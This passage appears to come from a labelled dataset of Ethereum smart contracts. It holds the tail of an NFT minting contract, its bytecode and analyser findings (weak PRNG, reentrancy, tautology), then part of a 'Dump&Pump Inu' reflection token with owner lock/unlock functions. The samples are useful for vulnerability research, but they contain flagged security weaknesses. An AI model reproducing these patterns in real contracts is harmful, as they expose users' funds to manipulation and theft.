bytes memory res = new bytes(count);
for (uint256 i = 0; i < count; ++i) {
b = a % 16;
res[count - i - 1] = toHexDigit(uint8(b));
a /= 16;
}
return string(res);
}
function toHex(
uint256 _red,
uint256 _green,
uint256 _blue
) public pure returns (string memory) {
string memory r = toHexString(_red);
string memory g = toHexString(_green);
string memory b = toHexString(_blue);
return string(abi.encodePacked(r, g, b));
}
function getData(uint256 _plotId) public pure returns (string[][] memory) {
string[][] memory plot = new string[][](16);
uint256 red = _plotId.div(256);
uint256 green = _plotId.mod(256);
uint256 blue = 0;
for (uint256 y = 0; y < 16; y++) {
string[] memory row = new string[](16);
for (uint256 x = 0; x < 16; x++) {
row[x] = toHex(red, green, blue);
blue = blue + 1;
}
plot[y] = row;
}
return plot;
}
//////////////////////////
//// Metadata ////
//////////////////////////
/**
* @dev Returns a descriptive name for a collection of NFTokens.
* @return _name Representing name.
*/
function name() external view returns (string memory _name) {
_name = nftName;
}
/**
* @dev Returns an abbreviated name for NFTokens.
* @return _symbol Representing symbol.
*/
function symbol() external view returns (string memory _symbol) {
_symbol = nftSymbol;
}
}
|
0x6080604052600436106102725760003560e01c80636d313add1161014f578063a0712d68116100c1578063e45be8eb1161007a578063e45be8eb14610709578063e985e9c51461071e578063eafd65aa1461073e578063edda01ae1461075e578063fc6f946814610773578063feb3d3d61461078857610272565b8063a0712d681461066c578063a1e89aec1461067f578063a22cb46514610694578063b88d4fde146106b4578063bfc206ed146106d4578063d1425c61146106f457610272565b80638e499bcf116101135780638e499bcf146105d85780638fba8d5c146105ed57806395c0966c1461060d57806395d89b411461062d57806398d5fdca1461064257806399aa93c81461065757610272565b80636d313add146105385780636f041e9314610558578063704b6c021461057857806370a08231146105985780638b0a1b7e146105b857610272565b80632d1a12f6116101e857806340adac5f116101ac57806340adac5f1461048e57806342842e0e146104ae57806344c66be7146104ce5780634c35a7f2146104e35780634fac7e41146104f85780636352211e1461051857610272565b80632d1a12f6146103f75780632f745c591461041757806333bc1c5c146104375780633711d9fb1461044c578063404a2c171461046157610272565b8063081812fc1161023a578063081812fc14610340578063095ea7b31461036d57806312fc62131461038d57806318160ddd146103ad5780631cbaee2d146103c257806323b872dd146103d757610272565b80630178fe3f1461027757806301ffc9a7146102ad578063031bd4c4146102da57806306913d18146102fc57806306fdde031461031e575b600080fd5b34801561028357600080fd5b50610297610292366004612363565b6107a8565b6040516102a4919061252a565b60405180910390f35b3480156102b957600080fd5b506102cd6102c836600461232b565b6108a2565b6040516102a4919061260d565b3480156102e657600080fd5b506102ef6108c1565b6040516102a491906128d1565b34801561030857600080fd5b5061031c6103173660046123eb565b6108c8565b005b34801561032a57600080fd5b506103336109a0565b6040516102a49190612618565b34801561034c57600080fd5b5061036061035b366004612363565b610a36565b6040516102a491906124b8565b34801561037957600080fd5b5061031c6103883660046122e4565b610a89565b34801561039957600080fd5b506103606103a8366004612363565b610bae565b3480156103b957600080fd5b506102ef610bcb565b3480156103ce57600080fd5b506102ef610bd2565b3480156103e357600080fd5b5061031c6103f23660046121dd565b610bd8565b34801561040357600080fd5b5061031c61041236600461237b565b610d0a565b34801561042357600080fd5b506102ef6104323660046122e4565b610d5f565b34801561044357600080fd5b506102cd610dbb565b34801561045857600080fd5b506102ef610dcb565b34801561046d57600080fd5b5061048161047c366004612182565b610dd1565b6040516102a491906125c9565b34801561049a57600080fd5b506102ef6104a9366004612363565b610e96565b3480156104ba57600080fd5b5061031c6104c93660046121dd565b610ea8565b3480156104da57600080fd5b506102ef610ec3565b3480156104ef57600080fd5b5061031c610ee1565b34801561050457600080fd5b50610481610513366004612182565b610f21565b34801561052457600080fd5b50610360610533366004612363565b610fda565b34801561054457600080fd5b506102ef610553366004612363565b611017565b34801561056457600080fd5b5061031c61057336600461239f565b61102b565b34801561058457600080fd5b5061031c610593366004612182565b6111f2565b3480156105a457600080fd5b506102ef6105b3366004612182565b61124d565b3480156105c457600080fd5b506103336105d33660046123c0565b61126b565b3480156105e457600080fd5b506102ef6112c4565b3480156105f957600080fd5b50610333610608366004612363565b6112ca565b34801561061957600080fd5b5061031c61062836600461239f565b61134b565b34801561063957600080fd5b506103336114ae565b34801561064e57600080fd5b506102ef61150f565b34801561066357600080fd5b506102ef6115bd565b61031c61067a366004612363565b6115c3565b34801561068b57600080fd5b506102ef611769565b3480156106a057600080fd5b5061031c6106af3660046122b7565b61176f565b3480156106c057600080fd5b5061031c6106cf36600461221d565b6117de565b3480156106e057600080fd5b506103606106ef366004612363565b611827565b34801561070057600080fd5b50610360611842565b34801561071557600080fd5b506102ef611851565b34801561072a57600080fd5b506102cd6107393660046121a5565b611857565b34801561074a57600080fd5b506102ef6107593660046122e4565b611885565b34801561076a57600080fd5b506102ef6118b8565b34801561077f57600080fd5b506103606118be565b34801561079457600080fd5b506102ef6107a33660046122e4565b6118d4565b604080516010808252610220820190925260609160009190816020015b60608152602001906001900390816107c557905050905060006107ea846101006118f0565b905060006107fa85610100611903565b90506000805b6010811015610895576040805160108082526102208201909252600091816020015b606081526020019060019003908161082257905050905060005b60108110156108735761085086868661126b565b82828151811061085c57fe5b60209081029190910101526001938401930161083c565b508086838151811061088157fe5b602090810291909101015250600101610800565b509293505050505b919050565b6001600160e01b03191660009081526020819052604090205460ff1690565b6201000081565b620100115461010090046001600160a01b031633146109025760405162461bcd60e51b81526004016108f9906126ab565b60405180910390fd5b600a54600160a01b900460ff161561091957600080fd5b61cccc81600f5401111561092c57600080fd5b600b839055600c849055600e82905542600d819055600a805460ff60a01b1916600160a01b1790556009548201600f556040517fd31ad24df8ccfe063005ec7e718c82b7489b7e7e1579d6081f59eb61a72126b2916109929187918791879087906128da565b60405180910390a150505050565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610a2c5780601f10610a0157610100808354040283529160200191610a2c565b820191906000526020600020905b815481529060010190602001808311610a0f57829003601f168201915b5050505050905090565b60008181526001602052604081205482906001600160a01b0316610a6c5760405162461bcd60e51b81526004016108f990612683565b50506000908152600260205260409020546001600160a01b031690565b60008181526001602052604090205481906001600160a01b031633811480610ad457506001600160a01b038116600090815260036020908152604080832033845290915290205460ff165b610af05760405162461bcd60e51b81526004016108f99061273e565b60008381526001602052604090205483906001600160a01b0316610b265760405162461bcd60e51b81526004016108f990612683565b6000848152600160205260409020546001600160a01b03908116908616811415610b4f57600080fd5b60008581526002602052604080822080546001600160a01b0319166001600160a01b038a811691821790925591518893918516917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591a4505050505050565b62010012602052600090815260409020546001600160a01b031681565b6008545b90565b600d5481565b60008181526001602052604090205481906001600160a01b031633811480610c1657506000828152600260205260409020546001600160a01b031633145b80610c4457506001600160a01b038116600090815260036020908152604080832033845290915290205460ff165b610c605760405162461bcd60e51b81526004016108f990612767565b60008381526001602052604090205483906001600160a01b0316610c965760405162461bcd60e51b81526004016108f990612683565b6000848152600160205260409020546001600160a01b039081169087168114610cd15760405162461bcd60e51b81526004016108f9906127bc565b6001600160a01b038616610cf75760405162461bcd60e51b81526004016108f990612840565b610d018686611922565b50505050505050565b620100115461010090046001600160a01b03163314610d3b5760405162461bcd60e51b81526004016108f9906126ab565b60005b82811015610d5a57610d5182600161198b565b50600101610d3e565b505050565b6001600160a01b0382166000908152600460205260408120548210610d8357600080fd5b6001600160a01b0383166000908152600460205260409020805483908110610da757fe5b906000526020600020015490505b92915050565b600a54600160a01b900460ff1681565b600e5481565b6001600160a01b03811660009081526201001360205260408120546060918167ffffffffffffffff81118015610e0657600080fd5b50604051908082528060200260200182016040528015610e30578160200160208202803683370190505b50905060005b82811015610e8e576001600160a01b03851660009081526201001360205260409020805482908110610e6457fe5b9060005260206000200154828281518110610e7b57fe5b6020908102919091010152600101610e36565b509392505050565b60056020526000908152604090205481565b610d5a83838360405180602001604052806000815250611a65565b6000610edc600954600f54611c3b90919063ffffffff16565b905090565b620100115461010090046001600160a01b03163314610f125760405162461bcd60e51b81526004016108f9906126ab565b600a805460ff60a01b19169055565b6001600160a01b0381166000908152600460205260408120546060918167ffffffffffffffff81118015610f5457600080fd5b50604051908082528060200260200182016040528015610f7e578160200160208202803683370190505b50905060005b82811015610e8e576001600160a01b0385166000908152600460205260409020805482908110610fb057fe5b9060005260206000200154828281518110610fc757fe5b6020908102919091010152600101610f84565b6000818152600160205260408120546001600160a01b0316610ffb57600080fd5b506000908152600160205260409020546001600160a01b031690565b620100146020526000908152604090205481565b6000828152600160205260409020546001600160a01b0316331480611068575060008281526201001260205260409020546001600160a01b031633145b6110845760405162461bcd60e51b81526004016108f99061286d565b600081116110a45760405162461bcd60e51b81526004016108f990612707565b817f67b46b8aec19fefe3d0edee4b64e3d6ab831c8c9e8f3f965f6be44db3c69a3d5826040516110d491906128d1565b60405180910390a26000828152600160205260409020546001600160a01b03163314156111595761110482611c50565b61110e3383611c8d565b6000828152620100126020526040902080546001600160a01b0319163390811790915561113b9083611dd6565b60405182906000903390600080516020612967833981519152908390a45b600a5460405163cb5085cb60e01b81526000916001600160a01b03169063cb5085cb9061118e90339087908790600401612509565b602060405180830381600087803b1580156111a857600080fd5b505af11580156111bc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111e0919061230f565b90508015610d5a57610d5a3384611e46565b620100115461010090046001600160a01b031633146112235760405162461bcd60e51b81526004016108f9906126ab565b6201001180546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b60006001600160a01b03821661126257600080fd5b610db582611f84565b60606000611278856112ca565b90506000611285856112ca565b90506000611292856112ca565b90508282826040516020016112a993929190612448565b60405160208183030381529060405293505050509392505050565b60085481565b6040805160028082528183019092526060919083906000908360208201818036833701905050905060005b838110156113425760108606925061130c83611f9f565b826001838703038151811061131d57fe5b60200101906001600160f81b031916908160001a9053506010860495506001016112f5565b50949350505050565b6000828152600160205260409020546001600160a01b0316331480611388575060008281526201001260205260409020546001600160a01b031633145b6113a45760405162461bcd60e51b81526004016108f99061286d565b600081116113c45760405162461bcd60e51b81526004016108f990612707565b817fd2f86d57a35675f9b110882456ef39a382fbbf85063c408a05c6c74d9914dae2826040516113f491906128d1565b60405180910390a26000828152600160205260409020546001600160a01b03163314156114795761142482611c50565b61142e3383611c8d565b6000828152620100126020526040902080546001600160a01b0319163390811790915561145b9083611dd6565b60405182906000903390600080516020612967833981519152908390a45b600a54604051630eb545a560e11b81526000916001600160a01b031690631d6a8b4a9061118e90339087908790600401612509565b60078054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610a2c5780601f10610a0157610100808354040283529160200191610a2c565b600a54600090600160a01b900460ff1661153b5760405162461bcd60e51b81526004016108f99061262b565b6000611552600d5442611c3b90919063ffffffff16565b9050600e548110611567575050600b54610bcf565b600b54600e54600c5461158f9190611589906115838387611c3b565b90611fe3565b906118f0565b1161159c57600b546115b5565b600e54600c546115b59190611589906115838386611c3b565b915050610bcf565b60095481565b620100115460ff16156115d557600080fd5b62010011805460ff19166001179055600a54600160a01b900460ff1661160d5760405162461bcd60e51b81526004016108f99061262b565b600f54816009540111156116335760405162461bcd60e51b81526004016108f990612656565b600081118015611644575060088111155b6116605760405162461bcd60e51b81526004016108f990612791565b600061166a61150f565b90506116768183611fe3565b3410156116955760405162461bcd60e51b81526004016108f9906126d0565b61169f8183611fe3565b3411156116e857336108fc6116be6116b78486611fe3565b3490611c3b565b6040518115909202916000818181858888f193505050501580156116e6573d6000803e3d6000fd5b505b620100115461010090046001600160a01b03166108fc6117088385611fe3565b6040518115909202916000818181858888f19350505050158015611730573d6000803e3d6000fd5b50600980548301905560005b828110156117585761174f33600061198b565b5060010161173c565b505062010011805460ff1916905550565b600f5481565b3360008181526003602090815260408083206001600160a01b038716808552925291829020805460ff191685151517905590519091907f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c31906117d290859061260d565b60405180910390a35050565b61182085858585858080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250611a6592505050565b5050505050565b6001602052600090815260409020546001600160a01b031681565b600a546001600160a01b031681565b600b5481565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205460ff1690565b6201001360205281600052604060002081815481106118a357600080fd5b90600052602060002001600091509150505481565b61cccc81565b620100115461010090046001600160a01b031681565b600460205281600052604060002081815481106118a357600080fd5b60008183816118fb57fe5b049392505050565b600080821161191157600080fd5b81838161191a57fe5b069392505050565b6000818152600160205260409020546001600160a01b031661194382611c50565b61194d8183611c8d565b611957838361200b565b81836001600160a01b0316826001600160a01b031660008051602061296783398151915260405160405180910390a4505050565b60006001600160a01b0383166119b35760405162461bcd60e51b81526004016108f9906128a4565b62010000600954106119d75760405162461bcd60e51b81526004016108f9906127e9565b60006119e1612076565b60088054600101905590506119f6848261200b565b836001600160a01b0316817fc272e935698bfdb91f56cc72eb6479925f74549184710ec89e811ac85671323f85604051611a30919061260d565b60405180910390a360405181906001600160a01b03861690600090600080516020612967833981519152908290a49392505050565b60008281526001602052604090205482906001600160a01b031633811480611aa357506000828152600260205260409020546001600160a01b031633145b80611ad157506001600160a01b038116600090815260036020908152604080832033845290915290205460ff165b611aed5760405162461bcd60e51b81526004016108f990612767565b60008481526001602052604090205484906001600160a01b0316611b235760405162461bcd60e51b81526004016108f990612683565b6000858152600160205260409020546001600160a01b039081169088168114611b5e5760405162461bcd60e51b81526004016108f990612816565b6001600160a01b038716611b7157600080fd5b611b7b8787611922565b611b848761216c565b15611c3157604051630a85bd0160e11b81526000906001600160a01b0389169063150b7a0290611bbe9033908d908c908c906004016124cc565b602060405180830381600087803b158015611bd857600080fd5b505af1158015611bec573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c109190612347565b90506001600160e01b03198116630a85bd0160e11b14611c2f57600080fd5b505b5050505050505050565b600082821115611c4a57600080fd5b50900390565b6000818152600260205260409020546001600160a01b031615611c8a57600081815260026020526040902080546001600160a01b03191690555b50565b6000818152600160205260409020546001600160a01b03838116911614611cc65760405162461bcd60e51b81526004016108f990612816565b600081815260016020818152604080842080546001600160a01b031916905560058252808420546001600160a01b03871685526004909252832054909291611d0e9190611c3b565b9050818114611d99576001600160a01b0384166000908152600460205260408120805483908110611d3b57fe5b906000526020600020015490508060046000876001600160a01b03166001600160a01b031681526020019081526020016000208481548110611d7957fe5b600091825260208083209091019290925591825260059052604090208290555b6001600160a01b0384166000908152600460205260409020805480611dba57fe5b6001900381819060005260206000200160009055905550505050565b6000818152620100126020908152604080832080546001600160a01b0319166001600160a01b0387169081179091558084526201001383529083208054600181810183558286529385200185905592529054611e3191611c3b565b60009182526201001460205260409091205550565b60008181526201001260205260409020546001600160a01b03838116911614611e815760405162461bcd60e51b81526004016108f990612816565b6000818152620100126020908152604080832080546001600160a01b0319169055620100148252808320546001600160a01b038616845262010013909252822054909190611ed0906001611c3b565b9050818114611f61576001600160a01b03841660009081526201001360205260408120805483908110611eff57fe5b9060005260206000200154905080620100136000876001600160a01b03166001600160a01b031681526020019081526020016000208481548110611f3f57fe5b6000918252602080832090910192909255918252620100149052604090208290555b6001600160a01b03841660009081526201001360205260409020805480611dba57fe5b6001600160a01b031660009081526004602052604090205490565b600060098260ff1611611fb957506030810160f81b61089d565b8160ff16600a11158015611fd15750600f8260ff1611155b1561027257506057810160f81b61089d565b600082611ff257506000610db5565b508181028183828161200057fe5b0414610db557600080fd5b600081815260016020818152604080842080546001600160a01b0319166001600160a01b0388169081179091558085526004835290842080548085018255818652928520909201859055909252905461206391611c3b565b6000918252600560205260409091205550565b6000806008546201000003905060008160105433444260405160200161209f949392919061248b565b6040516020818303038152906040528051906020012060001c816120bf57fe5b06905060006011826201000081106120d357fe5b0154156120f2576011826201000081106120e957fe5b015490506120f5565b50805b60116001840362010000811061210757fe5b0154612127576001830360118362010000811061212057fe5b015561214d565b60116001840362010000811061213957fe5b015460118362010000811061214a57fe5b01555b601080546001908101909155612164908290612172565b935050505090565b3b151590565b81810182811015610db557600080fd5b600060208284031215612193578081fd5b813561219e8161292d565b9392505050565b600080604083850312156121b7578081fd5b82356121c28161292d565b915060208301356121d28161292d565b809150509250929050565b6000806000606084860312156121f1578081fd5b83356121fc8161292d565b9250602084013561220c8161292d565b929592945050506040919091013590565b600080600080600060808688031215612234578081fd5b853561223f8161292d565b9450602086013561224f8161292d565b935060408601359250606086013567ffffffffffffffff80821115612272578283fd5b818801915088601f830112612285578283fd5b813581811115612293578384fd5b8960208285010111156122a4578384fd5b9699959850939650602001949392505050565b600080604083850312156122c9578182fd5b82356122d48161292d565b915060208301356121d281612942565b600080604083850312156122f6578182fd5b82356123018161292d565b946020939093013593505050565b600060208284031215612320578081fd5b815161219e81612942565b60006020828403121561233c578081fd5b813561219e81612950565b600060208284031215612358578081fd5b815161219e81612950565b600060208284031215612374578081fd5b5035919050565b6000806040838503121561238d578182fd5b8235915060208301356121d28161292d565b600080604083850312156123b1578182fd5b50508035926020909101359150565b6000806000606084860312156123d4578283fd5b505081359360208301359350604090920135919050565b60008060008060808587031215612400578081fd5b5050823594602084013594506040840135936060013592509050565b600081518084526124348160208601602086016128fd565b601f01601f19169290920160200192915050565b6000845161245a8184602089016128fd565b84519083019061246e8183602089016128fd565b84519101906124818183602088016128fd565b0195945050505050565b93845260609290921b6bffffffffffffffffffffffff191660208401526034830152605482015260740190565b6001600160a01b0391909116815260200190565b6001600160a01b03858116825284166020820152604081018390526080606082018190526000906124ff9083018461241c565b9695505050505050565b6001600160a01b039390931683526020830191909152604082015260600190565b6000602080830181845280855180835260408601915060408482028701019250838701855b828110156125bc57878503603f19018452815180518087529087019087870190888102880189018a5b828110156125a657601f198a830301845261259482865161241c565b948b0194938b01939150600101612578565b509750505093860193509085019060010161254f565b5092979650505050505050565b6020808252825182820181905260009190848201906040850190845b81811015612601578351835292840192918401916001016125e5565b50909695505050505050565b901515815260200190565b60006020825261219e602083018461241c565b60208082526011908201527029b0b632903737ba1039ba30b93a32b21760791b604082015260600190565b60208082526013908201527222bc31b2b2b2399039b0b632903634b6b4ba1760691b604082015260600190565b6020808252600e908201526d24b73b30b634b2103a37b5b2b71760911b604082015260600190565b6020808252600b908201526a27b7363c9030b236b4b71760a91b604082015260600190565b6020808252601f908201527f496e73756666696369656e742066756e647320746f2070757263686173652e00604082015260600190565b6020808252601c908201527f636f756e74206d7573742062652067726561746572207468616e203000000000604082015260600190565b6020808252600f908201526e21b0b73737ba1037b832b930ba329760891b604082015260600190565b60208082526010908201526f21b0b73737ba103a3930b739b332b91760811b604082015260600190565b60208082526011908201527024b73b30b634b21038bab0b73a34ba3c9760791b604082015260600190565b6020808252601390820152722bb937b73390333937b69030b2323932b9b99760691b604082015260600190565b60208082526013908201527229b0b632903634b6b4ba103932b0b1b432b21760691b604082015260600190565b60208082526010908201526f24b731b7b93932b1ba1037bbb732b91760811b604082015260600190565b60208082526013908201527221b0b73737ba1039b2b732103a3790183c181760691b604082015260600190565b6020808252601e908201527f4e6f206163636573732072696768747320746f207472616e736d7574652e0000604082015260600190565b60208082526013908201527221b0b73737ba1036b4b73a103a3790183c181760691b604082015260600190565b90815260200190565b948552602085019390935260408401919091526060830152608082015260a00190565b60005b83811015612918578181015183820152602001612900565b83811115612927576000848401525b50505050565b6001600160a01b0381168114611c8a57600080fd5b8015158114611c8a57600080fd5b6001600160e01b031981168114611c8a57600080fdfeddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220c3e746637d52ea9faf9ead877a09b3c2acd5759da6060defa96f13c89c2afc4764736f6c63430007060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 4,172 |
0x0f77e56173ea4ab390975e726c10bd0a3ebf8bb5
|
/**
*Submitted for verification at Etherscan.io on 2021-07-12
*/
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {return msg.sender;}
function _msgData() internal view virtual returns (bytes calldata) {this; return msg.data;}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {return a + b;}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {return a - b;}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {return a * b;}
function div(uint256 a, uint256 b) internal pure returns (uint256) {return a / b;}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {return a % b;}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked { require(b <= a, errorMessage); return a - b; }
}
}
library Address {
function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0;}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {return functionCall(target, data, "Address: low-level call failed");}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {return functionCallWithValue(target, data, 0, errorMessage);}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {return functionCallWithValue(target, data, value, "Address: low-level call with value failed");}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) { return returndata; } else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {revert(errorMessage);}
}
}
}
abstract contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function getUnlockTime() public view returns (uint256) {
return _lockTime;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(_previousOwner == msg.sender, "Only the previous owner can unlock onwership");
require(block.timestamp > _lockTime , "The contract is still locked");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
abstract contract Manageable is Context {
address private _manager;
event ManagementTransferred(address indexed previousManager, address indexed newManager);
constructor(){
address msgSender = _msgSender();
_manager = msgSender;
emit ManagementTransferred(address(0), msgSender);
}
function manager() public view returns(address){ return _manager; }
modifier onlyManager(){
require(_manager == _msgSender(), "Manageable: caller is not the manager");
_;
}
function transferManagement(address newManager) external virtual onlyManager {
emit ManagementTransferred(_manager, newManager);
_manager = newManager;
}
}
contract DPInu is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
//Tokenomics
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 5000 * 10**13 * 10**9;
uint256 private _rTotal;
uint256 private _tFeeTotal;
string private _name;
string private _symbol;
uint8 private _decimals;
address private constant _teamAddress = 0xe425c24019d112ef3a26Da03fe04d895A95312d6;
uint256 private _teamFeeTotal;
constructor () {
_rTotal = (MAX - (MAX % _tTotal));
_name = 'Dump&Pump Inu';
_symbol = 'DPInu';
_decimals = 13;
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,) = _getValues(tAmount, 6);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
//fees get degrees (reflection fee and team fee)
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,) = _getValues(tAmount, 3);
return rAmount;
} else {
(,uint256 rTransferAmount,,) = _getValues(tAmount, 3);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
uint256 txFee = 3;
uint256 teamFee = 3;
uint256 totalFeePercentage = txFee + teamFee;
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 currentRate) = _getValues(amount, totalFeePercentage);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
if (_isExcluded[sender]) { _tOwned[sender] = _tOwned[sender].sub(amount); }
if (_isExcluded[recipient]) { _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); }
uint256 tFee = amount.mul(txFee).div(100);
uint256 rFee = tFee.mul(currentRate);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
uint256 tteam = amount.mul(teamFee).div(100);
uint256 rteam = tteam.mul(currentRate);
_teamTokens(address(this), tteam, rteam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount, uint256 totalFeePercentage) private view returns (uint256, uint256, uint256, uint256) {
uint256 currentRate = _getRate();
uint256 totalFee = tAmount.mul(totalFeePercentage).div(100);
uint256 tTransferAmount = tAmount.sub(totalFee);
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = totalFee.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee);
return (rAmount, rTransferAmount, tTransferAmount, currentRate);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
